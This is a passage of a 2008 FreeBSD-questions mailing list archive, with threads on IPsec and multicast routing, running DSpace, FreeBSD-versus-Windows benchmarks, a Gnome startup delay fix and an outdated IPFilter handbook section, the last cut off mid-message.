IPSEC_FILTERTUNNEL > options IPSEC_DEBUG #debug for IP Security > options IPSEC_NAT_T > The kernel does not support multicast routing by default, you need to add "options MROUTING" to your kernel cf. But then again you have to use something to exchange that routing information to the other peers, something like XORP. > ipsec-tools: ... > Does anyone know how I can accomplish this? The goal is to try and have > transparency between the two sites Could you elaborate a bit on "transparency between the two sites"? > to and try and get Bonjour working. I am not familiar with Bonjour, but it seems that multicast routing is not the way to go... Maybe you can achieve that same effect using bridging and packet filtering to block what ever is supposed to be local traffic. Nikos From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:29:36 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EF20B1065676 for ; Fri, 5 Dec 2008 16:29:36 +0000 (UTC) (envelope-from ana.krahmer@ttu.edu) Received: from euphorbus.net.ttu.edu (euphorbus.net.ttu.edu [129.118.1.216]) by mx1.freebsd.org (Postfix) with ESMTP id B3B978FC18 for ; Fri, 5 Dec 2008 16:29:36 +0000 (UTC) (envelope-from ana.krahmer@ttu.edu) Received: from hyperbius.net.ttu.edu (129.118.1.214) by euphorbus.net.ttu.edu (129.118.1.216) with Microsoft SMTP Server (TLS) id 8.1.311.2; Fri, 5 Dec 2008 10:19:25 -0600 Received: from CETO.ttu.edu ([129.118.1.102]) by hyperbius.net.ttu.edu ([129.118.1.214]) with mapi; Fri, 5 Dec 2008 10:19:24 -0600 From: "Krahmer, Ana" To: "freebsd-questions@freebsd.org" Date: Fri, 5 Dec 2008 10:19:16 -0600 Thread-Topic: Anyone tried Dspace on FreeBSD? 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X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:29:37 -0000 Has anyone here tried running DSpace on FreeBSD? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Ana Krahmer Programmer/Analyst III TTU Southwest Collection Phone: 806-742-9020 x277 Fax: 806-742-3157 "If you don't find it in the index, look very carefully through the entire catalogue." ~~Sears Consumer Guide ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:30:36 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 43EFB1065677 for ; Fri, 5 Dec 2008 16:30:36 +0000 (UTC) (envelope-from perrin@apotheon.com) Received: from outbound-mail-35.bluehost.com (outbound-mail-35.bluehost.com [69.89.18.155]) by mx1.freebsd.org (Postfix) with SMTP id 8E22A8FC14 for ; Fri, 5 Dec 2008 16:30:35 +0000 (UTC) (envelope-from perrin@apotheon.com) Received: (qmail 17251 invoked by uid 0); 5 Dec 2008 16:30:33 -0000 Received: from unknown (HELO box183.bluehost.com) (69.89.25.183) by outboundproxy2.bluehost.com with SMTP; 5 Dec 2008 16:30:33 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=apotheon.com; h=Received:Received:Date:From:To:Subject:Message-ID:Mail-Followup-To:References:Mime-Version:Content-Type:Content-Disposition:In-Reply-To:User-Agent:X-Identified-User; b=UtQORh2xcihcMG964wozXFe0SR1rS75VfPf+g1xYW3LCKUDkeB++5XNl3HIqLNh+0bOCStQePp5zBcVhJTjzZjcP6LDd32x1+9KhIJxWBB26UIKhhVErNaNTvgyAzr6X; Received: from c-24-8-180-234.hsd1.co.comcast.net ([24.8.180.234] helo=kokopelli.hydra) by box183.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1L8dZY-0003Tz-OT for freebsd-questions@freebsd.org; Fri, 05 Dec 2008 09:30:32 -0700 Received: by kokopelli.hydra (sSMTP sendmail emulation); Fri, 5 Dec 2008 09:30:21 -0700 Date: Fri, 5 Dec 2008 09:30:21 -0700 From: Chad Perrin To: "freebsd-questions@freebsd.org" Message-ID: <20081205163021.GB25258@kokopelli.hydra> Mail-Followup-To: "freebsd-questions@freebsd.org" References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> <1228470808.2741.14.camel@frodon.be-bif.ulb.ac.be> <20081205130852.P1635@wojtek.tensor.gdynia.pl> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="U+BazGySraz5kW0T" Content-Disposition: inline In-Reply-To: <20081205130852.P1635@wojtek.tensor.gdynia.pl> User-Agent: Mutt/1.4.2.3i X-Identified-User: {737:box183.bluehost.com:apotheon:apotheon.org} {sentby:smtp auth 24.8.180.234 authed with ren@apotheon.org} Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:30:36 -0000 --U+BazGySraz5kW0T Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Dec 05, 2008 at 01:09:36PM +0100, Wojciech Puchar wrote: > >a Windows system it's the virtual memory management, with the same > >amount of RAM Windows swaps a *lot* more. >=20 > it may be not VM subsystem but memory usage of windoze software. or both. >=20 > again - it's too different to be benchmarked There's no reason one cannot generate benchmarks comparing the two. You just have to choose your benchmark tasks carefully. Of course, microbenchmarks are usually suspect no matter what systems you're testing -- whether it's FreeBSD vs. MS Windows, OpenBSD vs. Linux 2.6.x, or Ruby 1.9 vs. Python 3.0, there are always ways to arrange your benchmark tests to favor whatever you want to favor. That doesn't change the fact that FreeBSD vs. MS Windows benchmark tests can be every bit as (un)useful as any other benchmark tests. They're not "just too different". --=20 Chad Perrin [ content licensed PDL: http://pdl.apotheon.org ] Quoth C. Hoare: "Two ways of constructing software: (1) make it so simple that there are obviously no bugs, (2) make it so complicated that there are no obvious bugs. Making it simple is far more difficult." --U+BazGySraz5kW0T Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk5Vx0ACgkQ9mn/Pj01uKVhZQCfZYxmRXmqVAKDNARbhQFwLC2o KvAAoKzpTwYUt8HocNz11VAykNqlTiJo =REhz -----END PGP SIGNATURE----- --U+BazGySraz5kW0T-- From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:32:20 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EE1CD1065677 for ; Fri, 5 Dec 2008 16:32:20 +0000 (UTC) (envelope-from perrin@apotheon.com) Received: from outbound-mail-142.bluehost.com (outbound-mail-142.bluehost.com [67.222.38.32]) by mx1.freebsd.org (Postfix) with SMTP id C25008FC0A for ; Fri, 5 Dec 2008 16:32:20 +0000 (UTC) (envelope-from perrin@apotheon.com) Received: (qmail 31869 invoked by uid 0); 5 Dec 2008 16:31:56 -0000 Received: from unknown (HELO box183.bluehost.com) (69.89.25.183) by outboundproxy5.bluehost.com with SMTP; 5 Dec 2008 16:31:56 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=apotheon.com; h=Received:Received:Date:From:To:Subject:Message-ID:Mail-Followup-To:References:Mime-Version:Content-Type:Content-Disposition:In-Reply-To:User-Agent:X-Identified-User; b=ahzv5PQbEOw1DOyLV6/dwd40jgJNaXxyhaR0Z2W37yFiuyaO25Hl7dXonWDflq5ccPlOo9zT8V4xqY/wacA3uMPSi0NhuNdf6SmiCyORgb3xAthfpCW6Fc5n9tUISwWV; Received: from c-24-8-180-234.hsd1.co.comcast.net ([24.8.180.234] helo=kokopelli.hydra) by box183.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1L8dbF-000445-Ph for freebsd-questions@freebsd.org; Fri, 05 Dec 2008 09:32:18 -0700 Received: by kokopelli.hydra (sSMTP sendmail emulation); Fri, 5 Dec 2008 09:32:06 -0700 Date: Fri, 5 Dec 2008 09:32:06 -0700 From: Chad Perrin To: freebsd-questions@freebsd.org Message-ID: <20081205163206.GC25258@kokopelli.hydra> Mail-Followup-To: freebsd-questions@freebsd.org References: <0016e64ca7d690e38f045d45227d@google.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Md/poaVZ8hnGTzuv" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i X-Identified-User: {737:box183.bluehost.com:apotheon:apotheon.org} {sentby:smtp auth 24.8.180.234 authed with ren@apotheon.org} Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:32:21 -0000 --Md/poaVZ8hnGTzuv Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Dec 05, 2008 at 12:20:49PM +0100, Ivan Voras wrote: > af300wsm@gmail.com wrote: > > Hi, > >=20 > > I don't even know if this has been done before, nor do I know for sure > > if it's a sound comparison. Never the less, someone posted, in response > > to someone else here just a few days ago, some very nice benchmarks > > provided by Kris ?Kenneway? I could be wrong on the last name, it just > > seems to me that's a last name I've seen with Kris frequently (my > > apologies Kris if I'm wrong). Using the URL that the other poster, > > posted, I poked around the other *.html files in that directory, but did > > not find any with FreeBSD pitted against windows. > >=20 > > I'm just curious to see how it looks for my own sanity's sake. At work, > > someone got the grand idea that we should move to Windoze embedded (CE > > and XPe) and it's been quite discouraging I must say, though I must > > admit, it's nice to actually know why Windows is ugly underneath. From a > > programming perspective, it's just not simplistic. Anyway, I digress, > > I'm just curious to see how things compare to Windows on similar > > benchmarks to what Kris provided if its ever been done. >=20 > I've done some benchmarking of Windows file system IO (NTFS) using known > tools like bonnie++, blogbench and postmark under cygwin and the results > are abysmal. It might be due to cygwin, and it might not. I've used > Windows Enterprise Server 2003. >=20 > You'll probably not find any difference in computational (numeric) tasks > and fairly bad results in tasks that do a lot of system work. While the usefulness of such benchmarks may be suspect, I'd still be interested in seeing your results. --=20 Chad Perrin [ content licensed PDL: http://pdl.apotheon.org ] Quoth Anne McClintock, University of Wisconsin: "The decisions that really matter are made outside the democratic process." --Md/poaVZ8hnGTzuv Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk5V4YACgkQ9mn/Pj01uKVt1QCgvDiMGlEruHDFXJf20r3QsC6+ +8wAnjnbzIu+96sKE/lkDQgk5eTgvVvq =+skK -----END PGP SIGNATURE----- --Md/poaVZ8hnGTzuv-- From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:35:03 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 90A381065676 for ; Fri, 5 Dec 2008 16:35:03 +0000 (UTC) (envelope-from bruce@cran.org.uk) Received: from muon.cran.org.uk (muon.cran.org.uk [66.246.138.153]) by mx1.freebsd.org (Postfix) with ESMTP id 65CA38FC18 for ; Fri, 5 Dec 2008 16:35:03 +0000 (UTC) (envelope-from bruce@cran.org.uk) Received: from muon.cran.org.uk (localhost [127.0.0.1]) by muon.cran.org.uk (Postfix) with ESMTP id 60F1E19002; Fri, 5 Dec 2008 11:35:02 -0500 (EST) X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on muon X-Spam-Level: X-Spam-Status: No, score=-2.2 required=8.0 tests=AWL,BAYES_00,RDNS_NONE autolearn=no version=3.2.5 Received: from tau (unknown [66.45.161.67]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by muon.cran.org.uk (Postfix) with ESMTPSA; Fri, 5 Dec 2008 11:35:02 -0500 (EST) Date: Fri, 5 Dec 2008 08:34:57 -0800 From: Bruce Cran To: af300wsm@gmail.com Message-ID: <20081205083457.283d3deb@tau> In-Reply-To: <0016e64ca7d690e38f045d45227d@google.com> References: <0016e64ca7d690e38f045d45227d@google.com> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.14.4; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: "freebsd-questions@freebsd.org" Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:35:03 -0000 On Fri, 05 Dec 2008 04:30:20 +0000 af300wsm@gmail.com wrote: > I'm just curious to see how it looks for my own sanity's sake. At > work, someone got the grand idea that we should move to Windoze > embedded (CE and XPe) and it's been quite discouraging I must say, > though I must admit, it's nice to actually know why Windows is ugly > underneath. From a programming perspective, it's just not simplistic. > Anyway, I digress, I'm just curious to see how things compare to > Windows on similar benchmarks to what Kris provided if its ever been > done. > The userland win32 API might be rather unpleasant but I was surprised to learn to driver interface in the kernel is actually quite nice, and isn't too dissimilar to FreeBSD in some ways. In terms of performance Windows-based machines have made it into the Top500 list of supercomputers, so at the high end performance must be acceptable at least. -- Bruce Cran From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:38:48 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 854F91065676 for ; Fri, 5 Dec 2008 16:38:48 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 54FF48FC1C for ; Fri, 5 Dec 2008 16:38:48 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 80B4FAFBC02; Fri, 5 Dec 2008 07:38:47 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Fri, 5 Dec 2008 17:38:45 +0100 User-Agent: KMail/1.9.7 References: <1bd550a00812041051safe005bj8ee50bdf97583ae3@mail.gmail.com> <200812050558.05907.fbsd.questions@rachie.is-a-geek.net> <1bd550a00812050823nf1a79b2g2f4419cf79b50538@mail.gmail.com> In-Reply-To: <1bd550a00812050823nf1a79b2g2f4419cf79b50538@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200812051738.46248.fbsd.questions@rachie.is-a-geek.net> Cc: Fernando =?iso-8859-1?q?Apestegu=EDa?= Subject: Re: Gnome slow at start up X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:38:48 -0000 On Friday 05 December 2008 17:23:10 Fernando Apestegu=EDa wrote: > > http://forums.freebsd.org/showthread.php?t=3D445 > > Hi Mel, thanks a lot. > > The --purge-delay=3D5000 and --warn-delay=3D5000 options for gnome-session > fixed the problem. > > However, this triggers another question. Since these options decrease > the default timeouts (30000) for clients to connect and clients to > respond respectively, doesn't this mean some process, acting like a > gnome client is stalled or taking too much time to initialize? > > Does this worth a PR? Definitely worth a PR or at least gather commonalities in that forum thread= ,=20 cause it happens on different releases and seemingly vanilla systems. I don't use gnome, so can't help there. Maybe move it over to the gnome list. =2D-=20 Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:45:51 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 76F30106564A for ; Fri, 5 Dec 2008 16:45:51 +0000 (UTC) (envelope-from perrin@apotheon.com) Received: from outbound-mail-35.bluehost.com (outbound-mail-35.bluehost.com [69.89.18.155]) by mx1.freebsd.org (Postfix) with SMTP id 43B548FC14 for ; Fri, 5 Dec 2008 16:45:51 +0000 (UTC) (envelope-from perrin@apotheon.com) Received: (qmail 12029 invoked by uid 0); 5 Dec 2008 16:45:48 -0000 Received: from unknown (HELO box183.bluehost.com) (69.89.25.183) by outboundproxy2.bluehost.com with SMTP; 5 Dec 2008 16:45:48 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=apotheon.com; h=Received:Received:Date:From:To:Subject:Message-ID:Mail-Followup-To:References:Mime-Version:Content-Type:Content-Disposition:In-Reply-To:User-Agent:X-Identified-User; b=IPYBExUkxlxyuQMJMVhbpEBR7DfP36ymXVREDreM6Z033aal17pcfgK0L2A0bOxs5l5V5zDwbz6lV88/G63kxh78IQ891mbJSjZxZQNX83RYaAJUlZqO+F/vOo7BwDnG; Received: from c-24-8-180-234.hsd1.co.comcast.net ([24.8.180.234] helo=kokopelli.hydra) by box183.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1L8doJ-0008N7-V8 for freebsd-questions@freebsd.org; Fri, 05 Dec 2008 09:45:48 -0700 Received: by kokopelli.hydra (sSMTP sendmail emulation); Fri, 5 Dec 2008 09:45:37 -0700 Date: Fri, 5 Dec 2008 09:45:37 -0700 From: Chad Perrin To: freebsd-questions@freebsd.org Message-ID: <20081205164537.GD25258@kokopelli.hydra> Mail-Followup-To: freebsd-questions@freebsd.org References: <0016e64ca7d690e38f045d45227d@google.com> <20081205130950.W1635@wojtek.tensor.gdynia.pl> <20081205075818.0dac4e82@scorpio> <200812051426.51597.fbsd.questions@rachie.is-a-geek.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="sgneBHv3152wZ8jf" Content-Disposition: inline In-Reply-To: <200812051426.51597.fbsd.questions@rachie.is-a-geek.net> User-Agent: Mutt/1.4.2.3i X-Identified-User: {737:box183.bluehost.com:apotheon:apotheon.org} {sentby:smtp auth 24.8.180.234 authed with ren@apotheon.org} Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:45:51 -0000 --sgneBHv3152wZ8jf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Dec 05, 2008 at 02:26:50PM +0100, Mel wrote: >=20 > Well, one can find stories like this of course: > http://www.postgis.org/documentation/casestudies/globexplorer/ >=20 > But I'm sure one can find some of the contrary. It does show the value of= the=20 > benchmark: Is it economically viable to use configuration X vs Y, and=20 > performance is only one factor of the descision. Actually, the only other story that comes immediately to mind of a PostgreSQL vs. Oracle comparison is this one: http://www.enterprisedb.com/about/news_events/press_releases/06_27_07.do =2E . . so, in my experience at least, stories to the contrary are pretty hard to find. Of course, that seems to be more about PostgreSQL vs. Oracle than FreeBSD vs. MS Windows. --=20 Chad Perrin [ content licensed PDL: http://pdl.apotheon.org ] Quoth Thomas McCauley: "The measure of a man's real character is what he would do if he knew he would never be found out." --sgneBHv3152wZ8jf Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk5WrAACgkQ9mn/Pj01uKWCKACfaIw7sMKoV8YJyYadhUXuoLpl YEQAoNY90TGlSGEH5u9KYuOXxfNwXYL8 =D/hq -----END PGP SIGNATURE----- --sgneBHv3152wZ8jf-- From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 16:52:11 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DDC551065677 for ; Fri, 5 Dec 2008 16:52:11 +0000 (UTC) (envelope-from af300wsm@gmail.com) Received: from mail-gx0-f71.google.com (mail-gx0-f71.google.com [209.85.217.71]) by mx1.freebsd.org (Postfix) with ESMTP id 7EE938FC1E for ; Fri, 5 Dec 2008 16:52:11 +0000 (UTC) (envelope-from af300wsm@gmail.com) Received: by gxk23 with SMTP id 23so92856gxk.11 for ; Fri, 05 Dec 2008 08:52:10 -0800 (PST) MIME-Version: 1.0 Received: by 10.90.31.8 with SMTP id e8mr94938age.12.1228495930786; Fri, 05 Dec 2008 08:52:10 -0800 (PST) Message-ID: <001636164aa79006c1045d4f7f0b@google.com> Date: Fri, 05 Dec 2008 16:52:10 +0000 From: af300wsm@gmail.com To: Bruce Cran , af300wsm@gmail.com, "freebsd-questions@freebsd.org" Content-Type: text/plain; charset=ISO-8859-1; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: Re: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 16:52:12 -0000 On Dec 5, 2008 9:34am, Bruce Cran wrote: > On Fri, 05 Dec 2008 04:30:20 +0000 > > af300wsm@gmail.com wrote: > > > > > I'm just curious to see how it looks for my own sanity's sake. At > > > work, someone got the grand idea that we should move to Windoze > > > embedded (CE and XPe) and it's been quite discouraging I must say, > > > though I must admit, it's nice to actually know why Windows is ugly > > > underneath. From a programming perspective, it's just not simplistic. > > > Anyway, I digress, I'm just curious to see how things compare to > > > Windows on similar benchmarks to what Kris provided if its ever been > > > done. > > > > > > > The userland win32 API might be rather unpleasant but I was surprised > > to learn to driver interface in the kernel is actually quite nice, and > > isn't too dissimilar to FreeBSD in some ways. In > > terms of performance Windows-based machines have made it into the > > Top500 list of supercomputers, so at the high end performance must be > > acceptable at least. > > Very interesting. To be fair, programming is programming. It's not as if a struct suddenly became an int because we're using windows. You've just got to learn to do it differently. It's just irritating that there's not a fork() in windows, VERY irritating. Other things are quite irritating too, but like I said, it's not as if C++ suddenly became something different because I was working in windows. To the list, I must say that I wasn't looking to start a "holy war." Before posting I thought that the message was properly worded to find out if it had ever been done and if the results could be easily accessed. I found the result sets from Kris quite interesting comparing FreeBSD X against Linux X, DragonFlyBSD X and so forth. It was just interesting and I was wondering how similar benchmarks would compare. I didn't meant to set anyone off. Lastly, I think I may have left the impression that perhaps where I work they switched from FreeBSD to Windows. Had this been the case, the transition would have been far more discouraging to me. FreeBSD is my preferred OS. I too prefer the "using" of my brain to more "brain-dead" OSs. This fact is actually one of the irritants with using Windows now at work. I dislike that Visual Studio thinks it knows better than I do and that everything is so abstracted that it's hard to get down the "ground" level of what you're doing. And although IntelliSense is nice, still, give me gvim any day of the week and twice on Sunday. Andy From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 17:07:14 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7CC2B106564A for ; Fri, 5 Dec 2008 17:07:14 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 4B5698FC1B for ; Fri, 5 Dec 2008 17:07:14 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 35516AFBC02; Fri, 5 Dec 2008 08:07:13 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Fri, 5 Dec 2008 18:07:11 +0100 User-Agent: KMail/1.9.7 References: <0016e64ca7d690e38f045d45227d@google.com> <200812051426.51597.fbsd.questions@rachie.is-a-geek.net> <20081205164537.GD25258@kokopelli.hydra> In-Reply-To: <20081205164537.GD25258@kokopelli.hydra> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-6" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812051807.11735.fbsd.questions@rachie.is-a-geek.net> Cc: Chad Perrin Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 17:07:14 -0000 On Friday 05 December 2008 17:45:37 Chad Perrin wrote: > On Fri, Dec 05, 2008 at 02:26:50PM +0100, Mel wrote: > > Well, one can find stories like this of course: > > http://www.postgis.org/documentation/casestudies/globexplorer/ > > > > But I'm sure one can find some of the contrary. It does show the value of > > the benchmark: Is it economically viable to use configuration X vs Y, and > > performance is only one factor of the descision. > > Actually, the only other story that comes immediately to mind of a > PostgreSQL vs. Oracle comparison is this one: > > http://www.enterprisedb.com/about/news_events/press_releases/06_27_07.do > > . . . so, in my experience at least, stories to the contrary are pretty > hard to find. > > Of course, that seems to be more about PostgreSQL vs. Oracle than FreeBSD > vs. MS Windows. Point being, that a benchmark should never decide or even help decide to change software accross the board as a policy. You may use it as orientation, but in practice the value of said benchmarks is low as they rarely represent real workloads. The deciding process is migrating one and see what happens, what you have to do to migrate (it's rarely "just the os" and takes man hours) and what the difference in maintenance and periodic costs is. Benchmarks are more useful to "see what kind of hardware I'd need to run a MySQL server with X simultanious connections on FreeBSD" and even better if the tuning and optimizations for the benchmark are documented. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 17:25:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8A2D11065679 for ; Fri, 5 Dec 2008 17:25:29 +0000 (UTC) (envelope-from gwg7webbcom@yahoo.com) Received: from web52202.mail.re2.yahoo.com (web52202.mail.re2.yahoo.com [206.190.48.125]) by mx1.freebsd.org (Postfix) with SMTP id 448658FC0A for ; Fri, 5 Dec 2008 17:25:29 +0000 (UTC) (envelope-from gwg7webbcom@yahoo.com) Received: (qmail 76882 invoked by uid 60001); 5 Dec 2008 17:25:28 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type:Message-ID; b=m1nPhHIKvNv/8SW83WcgjR73bJBlnubU5sEe3eSklkVsYcWjZDQTNOcX6BH+b8Gg2ulRTRbPer3/vtm6KSQB3/5Frdg6a/i+scMUjUrEaPLdU0jLfPfTCGarXYg1MsfRbneMc9jHbv6iAcFChF8lIOxgnhcnHvHHhLNXfIP2n2M=; X-YMail-OSG: f_bGetIVM1lUSVWe058Yr2NzlHEhfeNyHK5dggzXgOALCGZ_loHHUnIJcyL61SCQ5u.HuFhWQzI8xKz7ZtvrA989gdSY8aeY9aCIKg2.C6jT.PUXSUeKIAgdKlAZQwKP8ME5VPqO5eu5jE4nJXPajLqM5ImRD9Zv2k31xCHer1Z5E7eDN0cbFeYWoVI- Received: from [71.180.152.129] by web52202.mail.re2.yahoo.com via HTTP; Fri, 05 Dec 2008 09:25:28 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Fri, 5 Dec 2008 09:25:28 -0800 (PST) From: G magicman To: freebsd-questions@freebsd.org, Dean Weimer In-Reply-To: MIME-Version: 1.0 Message-ID: <661217.76488.qm@web52202.mail.re2.yahoo.com> X-Mailman-Approved-At: Fri, 05 Dec 2008 18:06:33 +0000 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: Re: IPFilter section in Handbook needs updating X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: gwg7webbcom@yahoo.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 17:25:29 -0000 And incomplete yes i agree that the doc does need to be updated and example= s (more) need to be added. --- On Fri, 12/5/08, Dean Weimer wrote: From: Dean Weimer Subject: IPFilter section in Handbook needs updating To: freebsd-questions@freebsd.org Date: Friday, December 5, 2008, 10:07 AM I was just setting up ipfilter and ipmon on a FreeBSD 7 server, and noticed= that the ipmon and syslog information under the ipfilter section of the handbook= is incorrect. The section reads: -----snip----- 31.5.7 IPMON Logging Syslogd uses its own special method for segregation of log data. It uses special groupings called "facility" and "level". IPMON in -Ds mode uses security as the "facility" name. All IPMON logged data goes to security The following levels can be used to further segregate the logged data if desired: LOG_INFO - packets 